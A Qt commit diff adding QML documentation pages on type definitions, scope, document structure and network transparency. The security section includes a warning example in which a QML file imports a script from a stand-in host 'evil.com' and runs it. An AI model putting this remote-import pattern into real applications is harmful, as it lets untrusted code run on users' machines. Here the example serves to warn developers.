Doc: Refactored and focused the Qt QML documentation.

Before it wasn't clear to what the module provided, especially
with the coupling of Qt QML and Qt Quick.

The doc is centered around these documentation:
-QML refernce: the language syntax and the application constructs
-JavaScript environment: the environment provided by the module
-Integration with C++: more about the engine and the C++ API
-QML Types and Classes reference (created by \qmlmodule and \module)

The distinction are made in the directory and the section titles in
the Qt QML landing page.

Change-Id: I033bfcbf8368b94ffa5ee4b1225bee74347f53eb
Reviewed-by: Martin Smith <martin.smith@digia.com>

5 files changed, 853 insertions, 0 deletions

diff --git a/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc b/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc
new file mode 100644
index 0000000000..b9df6a4381
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia.  For licensing terms and
+** conditions see http://qt.digia.com/licensing.  For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.  Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-definetypes.html
+\title Defining Object Types through QML Documents
+\brief Description of how a QML document is a reusable type definition
+
+One of the core features of QML is that it enables QML object types to be easily defined in a lightweight manner through QML documents to suit the needs of individual QML applications. The standard QtQuick module provides various types like \l Rectangle, \l Text and \l Image for building a QML application; beyond these, you can easily define your own QML types to be reused within your application. This ability to create your own types forms the building blocks of any QML application.
+
+
+\section1 Defining an Object Type with a QML File
+
+To create an object type, a QML document should be placed into a text file named as \e <TypeName>.qml where \e <TypeName> is the desired name of the type, which must be comprised of alphanumeric characters or underscores and beginning with an uppercase letter. This document is then automatically recognized by the engine as a definition of a QML type. Additionally, a type defined in this manner is automatically made available to other QML files within the same directory as the engine searches within the immediate directory when resolving QML type names.
+
+For example, below is a document that declares a \l Rectangle with a child \l MouseArea. The document has been saved to file named \c SquareButton.qml:
+
+\qml
+// SquareButton.qml
+import QtQuick 2.0
+
+Rectangle {
+    width: 100; height: 100
+    color: "red"
+
+    MouseArea {
+        anchors.fill: parent
+        onClicked: console.log("Button clicked!")
+    }
+}
+\endqml
+
+Since the file is named \c SquareButton.qml, \b {this can now be used as a type named \c SquareButton by any other QML file within the same directory}. For example, if there was a \c myapplication.qml file in the same directory, it could refer to the \c SquareButton type:
+
+\qml
+// myapplication.qml
+import QtQuick 2.0
+
+SquareButton {}
+\endqml
+
+\image documents-definetypes-simple.png
+
+This creates a 100 x 100 red \l Rectangle with an inner \l MouseArea, as defined in \c SquareButton.qml. When this \c myapplication.qml document is loaded by the engine, it loads the SquareButton.qml document as a component and instantiates it to create a \c SquareButton object.
+
+The \c SquareButton type encapsulates the tree of QML objects declared in \c SquareButton.qml. When the QML engine instantiates a \c SquareButton object from this type, it is instantiating an object from the \l Rectangle tree declared in \c SquareButton.qml.
+
+\note the letter case of the file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the desired QML type name exactly - for example, \c Box.qml and not \c BoX.qml - regardless of the platform to which the QML type will be deployed.
+
+\section2 Importing Types Defined Outside the Current Directory
+
+If \c SquareButton.qml was not in the same directory as \c myapplication.qml,
+the \c SquareButton type would need to be specifically made available through an \e import statement in \c myapplication.qml. It could be imported from a relative path on the file system, or as an installed module; see \l {QML Modules}{module} for more details.
+
+
+\section1 Accessible Attributes of Custom Types
+
+The \b {root object} definition in a .qml file \b {defines the attributes that are available for a QML type}. All properties, signals and methods that belong to this root object - whether they are custom declared, or come from the QML type of the root object - are externally accessible and can be read and modified for objects of this type.
+
+For example, the root object type in the \c SquareButton.qml file above is \l Rectangle. This means any properties defined by the \l Rectangle type can be modified for a \c SquareButton object. The code below defines three \c SquareButton objects with customized values for some of the properties of the root \l Rectangle object of the \c SquareButton type:
+
+\qml
+// application.qml
+import QtQuick 2.0
+
+Column {
+    SquareButton { width: 50; height: 50 }
+    SquareButton { x: 50; color: "blue" }
+    SquareButton { radius: 10 }
+}
+\endqml
+
+\image documents-definetypes-attributes.png
+
+The attributes that are accessible to objects of the custom QML type include any \l{Defining Property Attributes}{custom properties}, \l{Defining Method Attributes}{methods} and \l{Defining Signal Attributes}{signals} that have additionally been defined for an object. For example, suppose the \l Rectangle in \c SquareButton.qml had been defined as follows, with additional properties, methods and signals:
+
+\qml
+// SquareButton.qml
+import QtQuick 2.0
+
+Rectangle {
+    id: root
+
+    property bool pressed: mouseArea.pressed
+
+    signal buttonClicked(real xPos, real yPos)
+
+    function randomizeColor() {
+        root.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1)
+    }
+
+    width: 100; height: 100
+    color: "red"
+
+    MouseArea {
+        id: mouseArea
+        anchors.fill: parent
+        onClicked: root.buttonClicked(mouse.x, mouse.y)
+    }
+}
+\endqml
+
+Any \c SquareButton object could make use of the \c pressed property, \c buttonClicked signal and \c randomizeColor() method that have been added to the root \l Rectangle:
+
+\qml
+// application.qml
+import QtQuick 2.0
+
+SquareButton {
+    id: squareButton
+
+    onButtonClicked: {
+        console.log("Clicked", xPos, yPos)
+        randomizeColor()
+    }
+
+    Text { text: squareButton.pressed ? "Down" : "Up" }
+}
+\endqml
+
+Note that any of the \c id values defined in \c SquareButton.qml are not accessible to \c SquareButton objects, as id values are only accessible from within the component scope in which a component is declared. The \c SquareButton object definition above cannot refer to \c mouseArea in order to refer to the \l MouseArea child, and if it had an \c id of \c root rather than \c squareButton, this would not conflict with the \c id of the same value for the root object defined in \c SquareButton.qml as the two would be declared within separate scopes.
+
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc
new file mode 100644
index 0000000000..ea46b3381e
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia.  For licensing terms and
+** conditions see http://qt.digia.com/licensing.  For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.  Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-networktransparency.html
+\title Resource Loading and Network Transparency
+\brief about loading files and resources accross a network
+
+QML supports network transparency by using URLs (rather than file names) for all
+references from a QML document to other content. This means that anywhere a URL source is expected,
+QML can handle remote resources as well as local ones, for example in the following image source:
+
+\qml
+Image {
+    source: "http://www.example.com/images/logo.png"
+}
+\endqml
+
+Since a \e relative URL is the same
+as a relative file, development of QML on regular file systems remains simple:
+
+\qml
+Image {
+    source: "images/logo.png"
+}
+\endqml
+
+Network transparency is supported throughout QML, for example:
+
+\list
+\li Fonts - the \c source property of FontLoader is a URL
+\li WebViews - the \c url property of WebView (obviously!)
+\endlist
+
+Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
+\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
+will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
+For example if the qmldir file contains the line "World World.qml", it will load
+\tt http://example.com/mystuff/World.qml
+Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
+similarly be loaded from the network.
+
+
+\section1 Relative vs. Absolute URLs
+
+Whenever an object has a property of type URL (QUrl), assigning a string to that
+property will actually assign an absolute URL - by resolving the string against
+the URL of the document where the string is used.
+
+For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
+
+\qml
+Image {
+    source: "images/logo.png"
+}
+\endqml
+
+The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
+but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
+\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
+
+If the string assigned to a URL is already an absolute URL, then "resolving" does
+not change it and the URL is assigned directly.
+
+
+\section1 QRC Resources
+
+One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
+the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
+that is compiled into the executable:
+
+\code
+    QQuickView *view = new QQuickView;
+    view->setUrl(QUrl("qrc:/dial.qml"));
+\endcode
+
+The content itself can then use relative URLs, and so be transparently unaware that the content is
+compiled into the executable.
+
+
+\section1 Limitations
+
+The \c import statement is only network transparent if it has an "as" clause.
+
+More specifically:
+\list
+\li \c{import "dir"} only works on local file systems
+\li \c{import libraryUri} only works on local file systems
+\li \c{import "dir" as D} works network transparently
+\li \c{import libraryUrl as U} works network transparently
+\endlist
+
+
+\section1 Implications for Application Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, QML application developers should not load
+and execute arbitary JavaScript or QML resources.  For example, consider the QML code below:
+
+\qml
+import QtQuick 2.0
+import "http://evil.com/evil.js" as Evil
+
+Component {
+    onLoaded: Evil.doEvil()
+}
+\endqml
+
+This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
+will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
+
+As with any application accessing other content beyond its control, a QML application should
+perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/scope.qdoc b/src/qml/doc/src/qmllanguageref/documents/scope.qdoc
new file mode 100644
index 0000000000..9da77a4905
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/scope.qdoc
@@ -0,0 +1,350 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia.  For licensing terms and
+** conditions see http://qt.digia.com/licensing.  For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.  Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-scope.html
+\title Scope and Naming Resolution
+\brief overview of scope and naming resolution
+
+QML property bindings, inline functions, and imported JavaScript files all
+run in a JavaScript scope.  Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
+
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
+
+\section1 JavaScript Scope
+
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
+
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
+
+\code
+QtObject {
+    property int a: 3
+    property int b: 9
+
+    function addConstant(b) {
+        var a = 13;
+        return b + a;
+    }
+}
+\endcode
+
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
+
+\code
+QtObject {
+    property int a
+
+    a: { var a = 12; a; }
+}
+\endcode
+
+Every JavaScript expression, function or file in QML has its own unique
+variable object.  Local variables declared in one will never conflict
+with local variables declared in another.
+
+\section1 Type Names and Imported JavaScript Files
+
+\l {QML Document}s include import statements that define the type names
+and JavaScript files visible to the document.  In addition to their use in the
+QML declaration itself, type names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
+
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components.  The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
+
+\code
+import QtQuick 2.0
+import "code.js" as Code
+
+ListView {
+    snapMode: ListView.SnapToItem
+
+    delegate: Component {
+        Text {
+            elide: Text.ElideMiddle
+            text: "A really, really long string that will require eliding."
+            color: Code.defaultColor()
+        }
+    }
+}
+\endcode
+
+\section1 Binding Scope Object
+
+Property bindings are the most common use of JavaScript in QML.  Property
+bindings associate the result of a JavaScript expression with a property of an
+object.  The object to which the bound property belongs is known as the binding's
+scope object.  In this QML simple declaration the \l Item object is the
+binding's scope object.
+
+\code
+Item {
+    anchors.left: parent.left
+}
+\endcode
+
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix.  QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require the use of the JavaScript \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object.  Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView type attaches interpolated value properties to
+its delegates depending on their position in the path.  As PathView only
+meaningfully attaches these properties to the root object in the delegate, any
+sub-object that accesses them must explicitly qualify the root object, as shown
+below.
+
+\code
+PathView {
+    delegate: Component {
+        Rectangle {
+            id: root
+            Image {
+                scale: root.PathView.scale
+            }
+        }
+    }
+}
+\endcode
+
+If the \l Image object omitted the \c root prefix, it would inadvertently access
+the unset \c {PathView.scale} attached property on itself.
+
+\section1 Component Scope
+
+Each QML component in a QML document defines a logical scope.  Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root object's properties.
+
+\code
+Item {
+    property string title
+
+    Text {
+        id: title
+        text: "<b>" + title + "</b>"
+        font.pixelSize: 22
+        anchors.top: parent.top
+    }
+
+    Text {
+        text: title.text
+        font.pixelSize: 18
+        anchors.bottom: parent.bottom
+    }
+}
+\endcode
+
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom.  The first
+\c Text type directly accesses the component's \c title property when
+forming the text to display.  That the root type's properties are directly
+accessible makes it trivial to distribute data throughout the component.
+
+The second \c Text type uses an id to access the first's text directly.  IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}).  For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object}  had a \c titletype property in the previous example, the \c titletype
+id would still take precedence.
+
+\section1 Component Instance Hierarchy
+
+In QML, component instances connect their component scopes together to form a
+scope hierarchy.  Component instances can directly access the component scopes of
+their ancestors.
+
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
+
+\code
+Item {
+    property color defaultColor: "blue"
+
+    ListView {
+        delegate: Component {
+            Rectangle {
+                color: defaultColor
+            }
+        }
+    }
+}
+\endcode
+
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item type.  Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
+
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances.  Even though the \c TitleText type is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage.  QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
+
+\code
+// TitlePage.qml
+import QtQuick 2.0
+Item {
+    property string title
+
+    TitleText {
+        size: 22
+        anchors.top: parent.top
+    }
+
+    TitleText {
+        size: 18
+        anchors.bottom: parent.bottom
+    }
+}
+
+// TitleText.qml
+import QtQuick 2.0
+Text {
+    property int size
+    text: "<b>" + title + "</b>"
+    font.pixelSize: size
+}
+\endcode
+
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict.  In general it
+should only be used in cases where the two components are already tightly
+coupled in another way.  When building reusable components, it is preferable
+to use property interfaces, like this:
+
+\code
+// TitlePage.qml
+import QtQuick 2.0
+Item {
+    id: root
+    property string title
+
+    TitleText {
+        title: root.title
+        size: 22
+        anchors.top: parent.top
+    }
+
+    TitleText {
+        title: root.title
+        size: 18
+        anchors.bottom: parent.bottom
+    }
+}
+
+// TitleText.qml
+import QtQuick 2.0
+Text {
+    property string title
+    property int size
+
+    text: "<b>" + title + "</b>"
+    font.pixelSize: size
+}
+\endcode
+
+\section1 Overridden Properties
+
+QML permits property names defined in an object declaration to be overridden by properties
+declared within another object declaration that extends the first.  For example:
+
+\code
+// Displayable.qml
+import QtQuick 2.0
+Item {
+    property string title
+    property string detail
+
+    Text {
+        text: "<b>" + title + "</b><br>" + detail
+    }
+
+    function getTitle() { return title }
+    function setTitle(newTitle) { title = newTitle }
+}
+
+// Person.qml
+import QtQuick 2.0
+Displayable {
+    property string title
+    property string firstName
+    property string lastName
+
+    function fullName()  { return title + " " + firstName + " " + lastName }
+}
+\endcode
+
+Here, the name \c title is given to both the heading of the output text for Displayable,
+and also to the honorific title of the Person object.
+
+An overridden property is resolved according to the scope in which it is referenced.
+Inside the scope of the Person component, or from an external scope that refers
+to an instance of the Person component, \c title resolves to the property
+declared inside Person.qml.  The \c fullName function will refer to the \c title
+property declared inside Person.
+
+Inside the Displayable component, however, \c title refers to the property
+declared in Displayable.qml.  The getTitle() and setTitle() functions, and the
+binding for the \c text property of the Text object will all refer to the \c title
+property declared in the Displayable component.
+
+Despite sharing the same name, the two properties are entirely separate.  An
+onChanged signal handler for one of the properties will not be triggered by
+a change to the other property with the same name.  An alias to either property
+will refer to one or the other, but not both.
+
+\section1 JavaScript Global Object
+
+QML disallows type, id and property names that conflict with the properties
+on the global object to prevent any confusion.  Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
+
+See \l {JavaScript Host Environment} for more information.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/structure.qdoc b/src/qml/doc/src/qmllanguageref/documents/structure.qdoc
new file mode 100644
index 0000000000..c8176f7e0f
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/structure.qdoc
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia.  For licensing terms and
+** conditions see http://qt.digia.com/licensing.  For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.  Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-structure.html
+\title Structure of a QML Document
+\brief Description of the structure of QML documents
+
+
+A QML document is a self contained piece of QML source code that consists of two parts:
+
+    \list
+    \li Its \e import statements
+    \li A single root object declaration
+    \endlist
+
+By convention, a single empty line separates the imports from the object hierarchy definition.
+
+QML documents are always encoded in UTF-8 format.
+
+
+
+\section1 Imports
+
+A document must import the necessary modules or type namespaces to enable the
+engine to load the QML object types referenced within the document. By default,
+a document can access any QML object types that have been defined through
+\c .qml files in the same directory; if a document needs to refer to any other
+object types, it must import the type namespace into which those types have
+been registered.
+
+QML does \e not have a preprocessor that modifies the document prior to
+presentation to the \l{QQmlEngine}{QML engine}, unlike C or C++.
+The \c import statements do not copy and prepend the code in the document, but
+instead instruct the QML engine on how to resolve type references found
+in the document. Any type reference present in a QML document - such as \c
+Rectangle and \c ListView - including those made within an \l {Inline
+JavaScript}{JavaScript block} or \l {Property Binding}{property
+bindings}, are \e resolved based exclusively on the import statements. At least
+one \c import statement must be present such as \c{import QtQuick 2.0}.
+
+Please see the \l{qtqml-syntax-imports.html}{QML Syntax - Import Statements}
+documentation for in-depth information about QML imports.
+
+
+\section1 The Root Object Declaration
+
+A QML document describes a hierarchy of objects which can be instantiated.
+Each object definition has a certain structure; it has a type, it can have an
+id and an object name, it can have properties, it can have methods, it can have
+signals and it can have signal handlers.
+
+A QML file must only contain \b {a single root object definition}. The following is invalid and will generate an error:
+
+\code
+// MyQmlFile.qml
+import QtQuick 2.0
+
+Rectangle { width: 200; height: 200; color: "red" }
+Rectangle { width: 200; height: 200; color: "blue" }    // invalid!
+\endcode
+
+This is because a .qml file automatically defines a QML type, which encapsulates a \e single QML object definition. This is discussed further in \l{qtqml-documents-definetypes.html}{Documents as QML object type definitions}.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/topic.qdoc b/src/qml/doc/src/qmllanguageref/documents/topic.qdoc
new file mode 100644
index 0000000000..f8a402476c
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/topic.qdoc
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia.  For licensing terms and
+** conditions see http://qt.digia.com/licensing.  For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.  Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-topic.html
+\title QML Documents
+\brief Description of QML documents
+
+A QML document is a string which conforms to QML document syntax.  A document
+defines a QML object type.  A document is generally loaded from a \c ".qml"
+file stored either locally or remotely, but can be constructed manually in
+code.  An instance of the object type defined by a document may be created
+using a \l Component in QML code, or a \l QQmlComponent in C++.
+Alternatively, if the object type is explicitly exposed to the QML type system
+with a particular type name, the type may be used directly in object
+declarations in other documents.
+
+The ability to define re-usable QML object types in documents is an important
+enabler to allow clients to write modular, highly readable and maintainable
+code.
+
+\section1 Structure of a QML Document
+
+A QML document consists of two sections: the imports section, and the object
+declaration section.  The imports section in a document contains import
+statements that define which QML object types and JavaScript resources the
+document is able to use.  The object declaration section defines the object
+tree to be created when instantiating the object type defined by the document.
+
+An example of a simple document is as follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+    width: 300
+    height: 200
+    color: "blue"
+}
+\endqml
+
+See the \l {qtqml-documents-structure.html}{Structure of a QML Document}
+for more information on the topic.
+
+\section2 Syntax of the QML Language
+
+The object declaration section of the document must specify a valid object
+hierarchy with appropriate \l {qtqml-syntax-basics.html}{QML syntax}.  An
+object declaration may include the specification of custom
+\l{qtqml-syntax-objectattributes.html}{object attributes}.  Object method
+attributes may be specified as JavaScript functions, and object property
+attributes may be assigned \l{qtqml-syntax-propertybinding.html}
+{property binding expressions}.
+
+Please see the documentation about the \l{qtqml-syntax-basics.html}
+{syntax of QML} for more information about valid syntax, and see the
+documentation about \l{qtqml-javascript-topic.html}
+{integrating QML and JavaScript} for in-depth information on that topic.
+
+\section1 Defining Object Types through QML Documents
+
+As described briefly in the previous section, a document implicitly defines
+a QML object type.  One of the core principles of QML is the ability to define
+and then re-use object types.  This improves the maintainability of QML code,
+increases the readability of object hierarchy declarations, and promotes
+separation between UI definition and logic implementation.
+
+In the following example, the client developer defines a \c Button type with
+a document in a file:
+
+\snippet ../src/quick/doc/snippets/qml/qml-extending-types/components/Button.qml 0
+
+The \c Button type can then be used in an application:
+
+\table
+\row
+\li \snippet ../src/quick/doc/snippets/qml/qml-extending-types/components/application.qml 0
+\li \image button-types.png
+\endtable
+
+Please see the documentation about \l{qtqml-documents-definetypes.html}
+{defining object types in documents} for in-depth information on the
+topic.
+
+\section1 Resource Loading and Network Transparency
+
+It is important to note that QML is network-transparent.  Applications can
+import documents from remote paths just as simply as documents from local
+paths.  In fact, any \c url property may be assigned a remote or local URL,
+and the QML engine will handle any network communication involved.
+
+Please see the \l{qtqml-documents-networktransparency.html}
+{Network Transparency} documentation for more information about network
+transparency in imports.
+
+\section1 Scope and Naming Resolution
+
+Expressions in documents usually involve objects or properties of objects,
+and since multiple objects may be defined and since different objects may have
+properties with the same name, some predefined symbol resolution semantics must
+be defined by QML.  Please see the page on \l{qtqml-documents-scope.html}
+{scope and symbol resolution} for in-depth information about the topic.
+
+*/